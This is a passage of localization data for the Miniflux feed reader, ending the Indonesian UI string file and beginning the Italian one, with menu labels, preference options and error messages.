pemasangan ulang)\",\n    \"form.prefs.label.entries_per_page\": \"Entri per Halaman\",\n    \"form.prefs.label.entry_order\": \"Pengurutan Kolom Entri\",\n    \"form.prefs.label.entry_sorting\": \"Pengurutan Entri\",\n    \"form.prefs.label.entry_swipe\": \"Aktifkan tindakan geser pada entri di ponsel\",\n    \"form.prefs.label.external_font_hosts\": \"Peladen penyedia fonta eksternal\",\n    \"form.prefs.label.gesture_nav\": \"Isyarat untuk menavigasi antar entri\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Aktifkan pintasan papan tik\",\n    \"form.prefs.label.language\": \"Bahasa\",\n    \"form.prefs.label.mark_read_manually\": \"Tandai entri sebagai telah dibaca secara manual\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Tandai entri sebagai telah dibaca ketika audio/video sudah 90% didengar/ditonton\",\n    \"form.prefs.label.mark_read_on_view\": \"Secara otomatis menandai entri sebagai telah dibaca saat dilihat\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Tandai entri sebagai telah dibaca ketika dilihat. Untuk audio/video, tandai sebagai telah dibaca ketika sudah 90% didengar/ditonton.\",\n    \"form.prefs.label.media_playback_rate\": \"Kecepatan pemutaran audio/video\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Buka tautan eksternal di tab baru (menambahkan target=\\\"_blank\\\" ke tautan)\",\n    \"form.prefs.label.show_reading_time\": \"Tampilkan perkiraan waktu baca untuk artikel\",\n    \"form.prefs.label.theme\": \"Tema\",\n    \"form.prefs.label.timezone\": \"Zona Waktu\",\n    \"form.prefs.select.alphabetical\": \"Secara alfabet\",\n    \"form.prefs.select.browser\": \"Peramban\",\n    \"form.prefs.select.created_time\": \"Waktu entri dibuat\",\n    \"form.prefs.select.fullscreen\": \"Layar Penuh\",\n    \"form.prefs.select.minimal_ui\": \"Antarmuka minimal\",\n    \"form.prefs.select.none\": \"Tidak ada\",\n    \"form.prefs.select.older_first\": \"Entri tertua dulu\",\n    \"form.prefs.select.publish_time\": \"Waktu entri dipublikasikan\",\n    \"form.prefs.select.recent_first\": \"Entri terbaru dulu\",\n    \"form.prefs.select.standalone\": \"Tersendiri\",\n    \"form.prefs.select.swipe\": \"Geser\",\n    \"form.prefs.select.tap\": \"Ketuk dua kali\",\n    \"form.prefs.select.unread_count\": \"Jumlah yang belum dibaca\",\n    \"form.submit.loading\": \"Memuat...\",\n    \"form.submit.saving\": \"Menyimpan...\",\n    \"form.user.label.admin\": \"Admin\",\n    \"form.user.label.confirmation\": \"Konfirmasi Kata Sandi\",\n    \"form.user.label.password\": \"Kata Sandi\",\n    \"form.user.label.username\": \"Nama Pengguna\",\n    \"menu.about\": \"Tentang\",\n    \"menu.add_feed\": \"Tambah langganan\",\n    \"menu.add_user\": \"Tambah pengguna\",\n    \"menu.api_keys\": \"Kunci API\",\n    \"menu.categories\": \"Kategori\",\n    \"menu.create_api_key\": \"Buat kunci API baru\",\n    \"menu.create_category\": \"Buat kategori\",\n    \"menu.edit_category\": \"Sunting\",\n    \"menu.edit_feed\": \"Sunting\",\n    \"menu.export\": \"Ekspor\",\n    \"menu.feed_entries\": \"Entri\",\n    \"menu.feeds\": \"Umpan\",\n    \"menu.flush_history\": \"Hapus riwayat\",\n    \"menu.history\": \"Riwayat\",\n    \"menu.home_page\": \"Beranda\",\n    \"menu.import\": \"Impor\",\n    \"menu.integrations\": \"Integrasi\",\n    \"menu.logout\": \"Keluar\",\n    \"menu.mark_all_as_read\": \"Tandai semua sebagai telah dibaca\",\n    \"menu.mark_page_as_read\": \"Tandai halaman ini sebagai telah dibaca\",\n    \"menu.preferences\": \"Preferensi\",\n    \"menu.refresh_all_feeds\": \"Muat ulang semua umpan di latar belakang\",\n    \"menu.refresh_feed\": \"Muat ulang\",\n    \"menu.search\": \"Cari\",\n    \"menu.sessions\": \"Sesi\",\n    \"menu.settings\": \"Pengaturan\",\n    \"menu.shared_entries\": \"Entri yang Dibagikan\",\n    \"menu.show_all_entries\": \"Tampilkan semua entri\",\n    \"menu.show_only_starred_entries\": \"Tampilkan hanya entri yang dimarkahkan\",\n    \"menu.show_only_unread_entries\": \"Tampilkan hanya entri yang belum dibaca\",\n    \"menu.starred\": \"Markah\",\n    \"menu.title\": \"Menu\",\n    \"menu.unread\": \"Belum Dibaca\",\n    \"menu.users\": \"Pengguna\",\n    \"page.about.author\": \"Pengembang:\",\n    \"page.about.build_date\": \"Tanggal Penyusunan:\",\n    \"page.about.credits\": \"Pengembang\",\n    \"page.about.db_usage\": \"Ukuran basis data:\",\n    \"page.about.git_commit\": \"Komit Git:\",\n    \"page.about.global_config_options\": \"Pengaturan Konfigurasi Global\",\n    \"page.about.go_version\": \"Versi Go:\",\n    \"page.about.license\": \"Lisensi:\",\n    \"page.about.postgres_version\": \"Versi Postgres:\",\n    \"page.about.title\": \"Tentang\",\n    \"page.about.version\": \"Versi:\",\n    \"page.add_feed.choose_feed\": \"Pilih Umpan\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Pilihan Tingkat Lanjut\",\n    \"page.add_feed.no_category\": \"Tidak ada kategori. Anda harus paling tidak memiliki satu kategori.\",\n    \"page.add_feed.submit\": \"Cari langganan\",\n    \"page.add_feed.title\": \"Langganan Baru\",\n    \"page.api_keys.never_used\": \"Tidak Pernah Digunakan\",\n    \"page.api_keys.table.actions\": \"Tindakan\",\n    \"page.api_keys.table.created_at\": \"Tanggal Pembuatan\",\n    \"page.api_keys.table.description\": \"Deskripsi\",\n    \"page.api_keys.table.last_used_at\": \"Terakhir Digunakan\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"Kunci API\",\n    \"page.categories.entries\": \"Artikel\",\n    \"page.categories.feed_count\": [\n        \"Ada %d umpan.\"\n    ],\n    \"page.categories.feeds\": \"Langganan\",\n    \"page.categories.no_feed\": \"Tidak ada umpan.\",\n    \"page.categories.title\": \"Kategori\",\n    \"page.categories_count\": [\n        \"%d kategori\"\n    ],\n    \"page.category_label\": \"Kategori: %s\",\n    \"page.edit_category.title\": \"Sunting Kategori: %s\",\n    \"page.edit_feed.etag_header\": \"Tajuk ETag:\",\n    \"page.edit_feed.last_check\": \"Terakhir diperiksa:\",\n    \"page.edit_feed.last_modified_header\": \"Tajuk LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Galat Penguraian Terakhir\",\n    \"page.edit_feed.no_header\": \"Tidak Ada\",\n    \"page.edit_feed.title\": \"Sunting Umpan: %s\",\n    \"page.edit_user.title\": \"Sunting Pengguna: %s\",\n    \"page.entry.attachments\": \"Lampiran\",\n    \"page.feeds.error_count\": [\n        \"%d galat\"\n    ],\n    \"page.feeds.last_check\": \"Terakhir diperiksa:\",\n    \"page.feeds.next_check\": \"Akan diperiksa kembali:\",\n    \"page.feeds.read_counter\": \"Jumlah entri yang telah dibaca\",\n    \"page.feeds.title\": \"Umpan\",\n    \"page.footer.elevator\": \"Kembali ke atas\",\n    \"page.history.title\": \"Riwayat\",\n    \"page.import.title\": \"Impor\",\n    \"page.integration.bookmarklet\": \"Penanda (bookmarklet)\",\n    \"page.integration.bookmarklet.help\": \"Tautan spesial ini memperbolehkan Anda untuk berlangganan ke situs langsung dengan menggunakan markah di peramban web Anda.\",\n    \"page.integration.bookmarklet.instructions\": \"Seret dan tempatkan tautan ini ke markah Anda.\",\n    \"page.integration.bookmarklet.name\": \"Tambahkan ke Miniflux\",\n    \"page.integration.miniflux_api\": \"API Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Titik URL API\",\n    \"page.integration.miniflux_api_password\": \"Kata Sandi\",\n    \"page.integration.miniflux_api_password_value\": \"Kata sandi akun Anda\",\n    \"page.integration.miniflux_api_username\": \"Nama Pengguna\",\n    \"page.integrations.title\": \"Integrasi\",\n    \"page.keyboard_shortcuts.close_modal\": \"Tutup bilah modal\",\n    \"page.keyboard_shortcuts.download_content\": \"Unduh konten asli\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Pergi ke item paling bawah\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Ke kategori\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Ke umpan\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Ke umpan\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Ke riwayat\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Ke entri berikutnya\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Ke halaman berikutnya\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Ke entri sebelumnya\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Ke halaman sebelumnya\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Atur fokus ke pencaarian\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ke pengaturan\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Ke markah\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Pergi ke item teratas\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Ke bagian yang belum dibaca\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Tandai halaman saat ini sebagai telah dibaca\",\n    \"page.keyboard_shortcuts.open_comments\": \"Buka tautan komentar\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Buka tautan komentar di bilah saat ini\",\n    \"page.keyboard_shortcuts.open_item\": \"Buka entri yang dipilih\",\n    \"page.keyboard_shortcuts.open_original\": \"Buka tautan asli\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Buka tautan asli di bilah saat ini\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Muat ulang semua umpan di latar belakang\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Hapus umpan ini\",\n    \"page.keyboard_shortcuts.save_article\": \"Simpan Artikel\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Gulir ke atas\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Tampilkan pintasan papan tik\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Tindakan\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigasi Entri\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigasi Halaman\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigasi Bagian\",\n    \"page.keyboard_shortcuts.title\": \"Pintasan Papan Tik\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Ubah status markah\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Buka/tutup lampiran entri\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Ubah status baca, fokus ke selanjutnya\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Ubah status baca, fokus ke sebelumnya\",\n    \"page.login.google_signin\": \"Masuk menggunakan Google\",\n    \"page.login.oidc_signin\": \"Masuk menggunakan %s\",\n    \"page.login.title\": \"Masuk\",\n    \"page.login.webauthn_login\": \"Masuk menggunakan passkey\",\n    \"page.login.webauthn_login.error\": \"Tidak dapat masuk menggunakan passkey\",\n    \"page.login.webauthn_login.help\": \"Mohon untuk memasukkan nama pengguna Anda jika Anda menggunakan kunci keamanan. Tidak diperlukan jika anda menggunakan Passkey (kredensial dapat ditemukan).\",\n    \"page.new_api_key.title\": \"Kunci API Baru\",\n    \"page.new_category.title\": \"Kategori Baru\",\n    \"page.new_user.title\": \"Pengguna Baru\",\n    \"page.offline.message\": \"Anda sedang luring\",\n    \"page.offline.refresh_page\": \"Coba untuk memuat ulang halaman ini\",\n    \"page.offline.title\": \"Mode Luring\",\n    \"page.read_entry_count\": [\n        \"%d entri dibaca\"\n    ],\n    \"page.search.title\": \"Hasil Pencarian\",\n    \"page.sessions.table.actions\": \"Tindakan\",\n    \"page.sessions.table.current_session\": \"Sesi Saat Ini\",\n    \"page.sessions.table.date\": \"Tanggal\",\n    \"page.sessions.table.ip\": \"Alamat IP\",\n    \"page.sessions.table.user_agent\": \"User Agent\",\n    \"page.sessions.title\": \"Sesi\",\n    \"page.settings.link_google_account\": \"Tautkan akun Google saya\",\n    \"page.settings.link_oidc_account\": \"Tautkan akun %s saya\",\n    \"page.settings.title\": \"Pengaturan\",\n    \"page.settings.unlink_google_account\": \"Putuskan akun Google saya\",\n    \"page.settings.unlink_oidc_account\": \"Putuskan akun %s saya\",\n    \"page.settings.webauthn.actions\": \"Tindakan\",\n    \"page.settings.webauthn.added_on\": \"Ditambahkan Pada\",\n    \"page.settings.webauthn.delete\": [\n        \"Hapus %d passkey\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Terakhir Digunakan\",\n    \"page.settings.webauthn.passkey_name\": \"Nama Passkey\",\n    \"page.settings.webauthn.passkeys\": \"Passkey\",\n    \"page.settings.webauthn.register\": \"Daftar passkey\",\n    \"page.settings.webauthn.register.error\": \"Tidak dapat mendaftarkan passkey\",\n    \"page.shared_entries.title\": \"Entri yang Dibagikan\",\n    \"page.shared_entries_count\": [\n        \"%d entri yang dibagikan\"\n    ],\n    \"page.starred.title\": \"Markah\",\n    \"page.starred_entry_count\": [\n        \"%d entri dimarkahi\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d entri secara total\"\n    ],\n    \"page.unread.title\": \"Belum Dibaca\",\n    \"page.unread_entry_count\": [\n        \"%d entri belum dibaca\"\n    ],\n    \"page.users.actions\": \"Tindakan\",\n    \"page.users.admin.no\": \"Tidak\",\n    \"page.users.admin.yes\": \"Ya\",\n    \"page.users.is_admin\": \"Admin\",\n    \"page.users.last_login\": \"Terakhir Masuk\",\n    \"page.users.never_logged\": \"Tidak Pernah\",\n    \"page.users.title\": \"Pengguna\",\n    \"page.users.username\": \"Nama Pengguna\",\n    \"page.webauthn_rename.title\": \"Ubah Nama Passkey\",\n    \"pagination.first\": \"Pertama\",\n    \"pagination.last\": \"Terakhir\",\n    \"pagination.next\": \"Berikutnya\",\n    \"pagination.previous\": \"Sebelumnya\",\n    \"search.label\": \"Cari\",\n    \"search.placeholder\": \"Cari...\",\n    \"search.submit\": \"Cari\",\n    \"skip_to_content\": \"Langsung ke konten\",\n    \"time_elapsed.days\": [\n        \"%d hari yang lalu\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d jam yang lalu\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d menit yang lalu\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d bulan yang lalu\"\n    ],\n    \"time_elapsed.not_yet\": \"belum\",\n    \"time_elapsed.now\": \"baru saja\",\n    \"time_elapsed.weeks\": [\n        \"%d pekan yang lalu\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d tahun yang lalu\"\n    ],\n    \"time_elapsed.yesterday\": \"kemarin\",\n    \"tooltip.keyboard_shortcuts\": \"Pintasan Papan Tik: %s\",\n    \"tooltip.logged_user\": \"Masuk sebagai %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/it_IT.json",
    "content": "{\n    \"action.cancel\": \"cancella\",\n    \"action.download\": \"Scarica\",\n    \"action.edit\": \"Modifica\",\n    \"action.home_screen\": \"Aggiungere alla schermata Home\",\n    \"action.import\": \"Importa\",\n    \"action.login\": \"Accedi\",\n    \"action.or\": \"o\",\n    \"action.remove\": \"Elimina\",\n    \"action.remove_feed\": \"Elimina questo feed\",\n    \"action.save\": \"Salva\",\n    \"action.subscribe\": \"Abbonati\",\n    \"action.update\": \"Aggiorna\",\n    \"alert.account_linked\": \"Il tuo account esterno ora è collegato!\",\n    \"alert.account_unlinked\": \"Il tuo account esterno ora è scollegato!\",\n    \"alert.background_feed_refresh\": \"Tutti i feed vengono aggiornati in background. Puoi continuare a usare Miniflux mentre questo processo è in esecuzione.\",\n    \"alert.feed_error\": \"Sembra ci sia un problema con questo feed\",\n    \"alert.no_starred\": \"Nessun preferito disponibile.\",\n    \"alert.no_category\": \"Nessuna categoria disponibile.\",\n    \"alert.no_category_entry\": \"Questa categoria non contiene alcun articolo.\",\n    \"alert.no_feed\": \"Nessun feed disponibile.\",\n    \"alert.no_feed_entry\": \"Questo feed non contiene alcun articolo.\",\n    \"alert.no_feed_in_category\": \"Non esiste un abbonamento per questa categoria.\",\n    \"alert.no_history\": \"La tua cronologia al momento è vuota.\",\n    \"alert.no_search_result\": \"La ricerca non ha prodotto risultati.\",\n    \"alert.no_shared_entry\": \"Non ci sono voci condivise.\",\n    \"alert.no_tag_entry\": \"Non ci sono voci corrispondenti a questo tag.\",\n    \"alert.no_unread_entry\": \"Nessun articolo da leggere.\",\n    \"alert.no_user\": \"Tu sei l'unico utente.\",\n    \"alert.prefs_saved\": \"Preferenze salvate!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Hai richiesto troppi aggiornamenti dei feed. Attendi %d minuto prima di riprovare.\",\n        \"Hai richiesto troppi aggiornamenti dei feed. Attendi %d minuti prima di riprovare.\"\n    ],\n    \"confirm.loading\": \"In corso...\",\n    \"confirm.no\": \"no\",\n    \"confirm.question\": \"Sei sicuro?\",\n    \"confirm.question.refresh\": \"Vuoi forzare l'aggiornamento?\",\n    \"confirm.yes\": \"sì\",\n    \"enclosure_media_controls.seek\": \"Sposta:\",\n    \"enclosure_media_controls.seek.title\": \"Sposta di %s secondi\",\n    \"enclosure_media_controls.speed\": \"Velocità:\",\n    \"enclosure_media_controls.speed.faster\": \"Più veloce\",\n    \"enclosure_media_controls.speed.faster.title\": \"Più veloce di %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Reimposta\",\n    \"enclosure_media_controls.speed.reset.title\": \"Reimposta velocità a 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Più lento\",\n    \"enclosure_media_controls.speed.slower.title\": \"Più lento di %sx\",\n    \"entry.starred.toast.off\": \"Non preferito\",\n    \"entry.starred.toast.on\": \"Preferito\",\n    \"entry.starred.toggle.off\": \"Rimuovi dai preferiti\",\n    \"entry.starred.toggle.on\": \"Aggiungi ai preferiti\",\n    \"entry.comments.label\": \"Commenti\",\n    \"entry.comments.title\": \"Mostra i commenti\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuto di lettura\",\n        \"%d minuti di lettura\"\n    ],\n    \"entry.external_link.label\": \"Link esterno\",\n    \"entry.save.completed\": \"Fatto!\",\n    \"entry.save.label\": \"Salva\",\n    \"entry.save.title\": \"Salva questo articolo\",\n    \"entry.save.toast.completed\": \"Articolo salvato\",\n    \"entry.scraper.completed\": \"Fatto!\",\n    \"entry.scraper.label\": \"Scarica\",\n    \"entry.scraper.title\": \"Scarica il contenuto integrale\",\n    \"entry.share.label\": \"Condividi\",\n    \"entry.share.title\": \"Condividi questo articolo\",\n    \"entry.shared_entry.label\": \"Condivisione\",\n    \"entry.shared_entry.title\": \"Apri il link pubblico\",\n    \"entry.state.loading\": \"Caricamento in corso...\",\n    \"entry.state.saving\": \"Salvataggio in corso...\",\n    \"entry.status.mark_as_read\": \"Segna come letto\",\n    \"entry.status.mark_as_unread\": \"Segna come non letto\",\n    \"entry.status.title\": \"Cambia lo stato dell'articolo\",\n    \"entry.status.toast.read\": \"Contrassegnato come letto\",\n    \"entry.status.toast.unread\": \"Contrassegnato come non letto\",\n    \"entry.tags.label\": \"Tag:\",\n    \"entry.tags.more_tags_label\": [\n        \"Mostra %d altro tag\",\n        \"Mostra %d altri tag\"\n    ],\n    \"entry.unshare.label\": \"Rimuovi condivisione\",\n    \"error.api_key_already_exists\": \"Questa chiave API esiste già.\",\n    \"error.bad_credentials\": \"Nome utente o password non validi.\",\n    \"error.category_already_exists\": \"Questa categoria esiste già.\",\n    \"error.category_not_found\": \"Questa categoria non esiste o non appartiene a questo utente.\",\n    \"error.database_error\": \"Errore del database: %v.\",\n    \"error.different_passwords\": \"Le password non coincidono.\",\n    \"error.duplicate_fever_username\": \"Esiste già un account Fever con lo stesso nome utente!\",\n    \"error.duplicate_googlereader_username\": \"Esiste già un account Google Reader con lo stesso nome utente!\",\n    \"error.duplicate_linked_account\": \"Esiste già un account configurato per questo servizio!\",\n    \"error.duplicated_feed\": \"Questo feed esiste già.\",\n    \"error.empty_file\": \"Questo file è vuoto.\",\n    \"error.entries_per_page_invalid\": \"Il numero di articoli per pagina non è valido.\",\n    \"error.feed_already_exists\": \"Questo feed esiste già.\",\n    \"error.feed_category_not_found\": \"Questa categoria non esiste o non appartiene a questo utente.\",\n    \"error.feed_format_not_detected\": \"Impossibile rilevare il formato del feed: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"La regola dell'elenco di blocco non è valida.\",\n    \"error.feed_invalid_keeplist_rule\": \"La regola dell'elenco di conservazione non è valida.\",\n    \"error.feed_mandatory_fields\": \"L'URL e la categoria sono obbligatori.\",\n    \"error.feed_not_found\": \"Questo feed non esiste o non appartiene a questo utente.\",\n    \"error.feed_title_not_empty\": \"Il titolo del feed non può essere vuoto.\",\n    \"error.feed_url_not_empty\": \"L'URL del feed non può essere vuoto.\",\n    \"error.fields_mandatory\": \"Tutti i campi sono obbligatori.\",\n    \"error.http_bad_gateway\": \"Il sito web non è disponibile al momento a causa di un errore di gateway. Il problema non è dal lato di Miniflux. Per favore, riprova più tardi.\",\n    \"error.http_body_read\": \"Impossibile leggere il corpo HTTP: %v.\",\n    \"error.http_client_error\": \"Errore del client HTTP: %v.\",\n    \"error.http_empty_response\": \"La risposta HTTP è vuota. Forse questo sito web utilizza un meccanismo di protezione dai bot?\",\n    \"error.http_empty_response_body\": \"Il corpo della risposta HTTP è vuoto.\",\n    \"error.http_forbidden\": \"L'accesso a questo sito web è vietato. Forse questo sito web ha un meccanismo di protezione dai bot?\",\n    \"error.http_gateway_timeout\": \"Il sito web non è disponibile a causa di un timeout del gateway. Il problema non è lato Miniflux. Riprova più tardi.\",\n    \"error.http_internal_server_error\": \"Il sito web non è disponibile a causa di un errore del server. Il problema non è lato Miniflux. Riprova più tardi.\",\n    \"error.http_not_authorized\": \"L'accesso a questo sito web non è autorizzato. Potrebbero essere errati nome utente o password.\",\n    \"error.http_resource_not_found\": \"La risorsa richiesta non è stata trovata. Verifica l'URL.\",\n    \"error.http_response_too_large\": \"La risposta HTTP è troppo grande. Puoi aumentare il limite di dimensione nelle impostazioni globali (richiede il riavvio del server).\",\n    \"error.http_service_unavailable\": \"Il sito web non è disponibile a causa di un errore interno del server. Il problema non è lato Miniflux. Riprova più tardi.\",\n    \"error.http_too_many_requests\": \"Miniflux ha generato troppe richieste verso questo sito. Riprova più tardi o modifica la configurazione dell'applicazione.\",\n    \"error.http_unexpected_status_code\": \"Il sito web non è disponibile a causa di un codice di stato HTTP inatteso: %d. Il problema non è lato Miniflux. Riprova più tardi.\",\n    \"error.invalid_categories_sorting_order\": \"L'ordinamento delle categorie non è valido.\",\n    \"error.invalid_default_home_page\": \"Pagina iniziale predefinita non valida!\",\n    \"error.invalid_display_mode\": \"Modalità di visualizzazione web app non valida.\",\n    \"error.invalid_entry_direction\": \"Ordinamento non valido.\",\n    \"error.invalid_entry_order\": \"L'ordinamento delle voci non è valido.\",\n    \"error.invalid_feed_proxy_url\": \"URL del proxy non valido.\",\n    \"error.invalid_feed_url\": \"URL del feed non valido.\",\n    \"error.invalid_gesture_nav\": \"Navigazione gestuale non valida.\",\n    \"error.invalid_language\": \"Lingua non valida.\",\n    \"error.invalid_site_url\": \"URL del sito non valido.\",\n    \"error.invalid_theme\": \"Tema non valido.\",\n    \"error.invalid_timezone\": \"Fuso orario non valido.\",\n    \"error.network_operation\": \"Miniflux non riesce a raggiungere questo sito web a causa di un errore di rete: %v.\",\n    \"error.network_timeout\": \"Questo sito web è troppo lento e la richiesta è scaduta: %v\",\n    \"error.password_min_length\": \"La password deve contenere almeno 6 caratteri.\",\n    \"error.proxy_url_not_empty\": \"L'URL del proxy non può essere vuoto.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Regola di blocco non valida: la regola #%d non ha un nome di campo valido (opzioni: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Regola di blocco non valida: il pattern della regola #%d non è una regex valida\",\n    \"error.settings_block_rule_regex_required\": \"Regola di blocco non valida: il pattern della regola #%d non è stato fornito\",\n    \"error.settings_block_rule_separator_required\": \"Regola di blocco non valida: il pattern della regola #%d deve essere separato da '='\",\n    \"error.settings_invalid_domain_list\": \"Elenco di domini non valido. Fornisci domini separati da spazi.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Regola di mantenimento non valida: la regola #%d non ha un nome di campo valido (opzioni: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Regola di mantenimento non valida: il pattern della regola #%d non è una regex valida\",\n    \"error.settings_keep_rule_regex_required\": \"Regola di mantenimento non valida: il pattern della regola #%d non è stato fornito\",\n    \"error.settings_keep_rule_separator_required\": \"Regola di mantenimento non valida: il pattern della regola #%d deve essere separato da '='\",\n    \"error.settings_mandatory_fields\": \"Il nome utente, il tema, la lingua ed il fuso orario sono campi obbligatori.\",\n    \"error.settings_media_playback_rate_range\": \"La velocità di riproduzione non rientra nell'intervallo\",\n    \"error.settings_reading_speed_is_positive\": \"Le velocità di lettura devono essere numeri interi positivi.\",\n    \"error.site_url_not_empty\": \"L'URL del sito non può essere vuoto.\",\n    \"error.subscription_not_found\": \"Non ho trovato nessun feed.\",\n    \"error.title_required\": \"Il titolo è obbligatorio.\",\n    \"error.tls_error\": \"Errore TLS: %q. Puoi disabilitare la verifica TLS nelle impostazioni del feed se preferisci.\",\n    \"error.unable_to_create_api_key\": \"Impossibile creare questa chiave API.\",\n    \"error.unable_to_create_category\": \"Non sono riuscito ad aggiungere questa categoria.\",\n    \"error.unable_to_create_user\": \"Non sono riuscito ad aggiungere questo user.\",\n    \"error.unable_to_detect_rssbridge\": \"Impossibile rilevare il feed usando RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Impossibile analizzare questo feed: %v.\",\n    \"error.unable_to_update_category\": \"Non sono riuscito ad aggiornare questa categoria.\",\n    \"error.unable_to_update_feed\": \"Non sono riuscito ad aggiornare questo feed.\",\n    \"error.unable_to_update_user\": \"Non sono riuscito ad aggiornare questo utente.\",\n    \"error.unlink_account_without_password\": \"Devi scegliere una password altrimenti la prossima volta non riuscirai ad accedere.\",\n    \"error.user_already_exists\": \"Questo utente esiste già.\",\n    \"error.user_mandatory_fields\": \"Il nome utente è obbligatorio.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token e Organization Slug sono richiesti\",\n    \"form.api_key.label.description\": \"Etichetta chiave API\",\n    \"form.category.hide_globally\": \"Nascondere le voci nella lista globale dei non letti\",\n    \"form.category.label.title\": \"Titolo\",\n    \"form.feed.fieldset.general\": \"Generale\",\n    \"form.feed.fieldset.integration\": \"Servizi di terze parti\",\n    \"form.feed.fieldset.network_settings\": \"Impostazioni di rete\",\n    \"form.feed.fieldset.rules\": \"Regole\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Consenti certificati autofirmati o non validi\",\n    \"form.feed.label.apprise_service_urls\": \"Elenco di URL di servizi Apprise separati da virgola\",\n    \"form.feed.label.block_filter_entry_rules\": \"Regole di Blocco delle Voci\",\n    \"form.feed.label.blocklist_rules\": \"Filtri di Blocco Basati su Regex\",\n    \"form.feed.label.category\": \"Categoria\",\n    \"form.feed.label.cookie\": \"Installare i cookies\",\n    \"form.feed.label.crawler\": \"Scarica il contenuto integrale\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Descrizione\",\n    \"form.feed.label.disable_http2\": \"Disabilita HTTP/2 per evitare il fingerprinting\",\n    \"form.feed.label.disabled\": \"Non aggiornare questo feed\",\n    \"form.feed.label.feed_password\": \"Password del feed\",\n    \"form.feed.label.feed_url\": \"URL del feed\",\n    \"form.feed.label.feed_username\": \"Nome utente del feed\",\n    \"form.feed.label.fetch_via_proxy\": \"Usa il proxy configurato a livello di applicazione\",\n    \"form.feed.label.hide_globally\": \"Nascondere le voci nella lista globale dei non letti\",\n    \"form.feed.label.ignore_http_cache\": \"Ignora cache HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Regole di Permesso delle Voci\",\n    \"form.feed.label.keeplist_rules\": \"Filtri di Mantenimento Basati su Regex\",\n    \"form.feed.label.no_media_player\": \"Nessun lettore multimediale (audio/video)\",\n    \"form.feed.label.ntfy_activate\": \"Invia le voci a ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Priorità predefinita ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Priorità alta ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Priorità bassa ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Priorità massima ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Priorità minima ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Priorità ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Topic ntfy (opzionale)\",\n    \"form.feed.label.proxy_url\": \"URL del proxy\",\n    \"form.feed.label.pushover_activate\": \"Invia le voci a pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Priorità predefinita Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Priorità alta Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Priorità bassa Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Priorità massima Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Priorità minima Pushover\",\n    \"form.feed.label.pushover_priority\": \"Priorità del messaggio Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Regole di Riscrittura del Contenuto\",\n    \"form.feed.label.scraper_rules\": \"Regole di estrazione del contenuto\",\n    \"form.feed.label.site_url\": \"URL del sito\",\n    \"form.feed.label.title\": \"Titolo\",\n    \"form.feed.label.urlrewrite_rules\": \"Regole di riscrittura URL\",\n    \"form.feed.label.user_agent\": \"Usa user 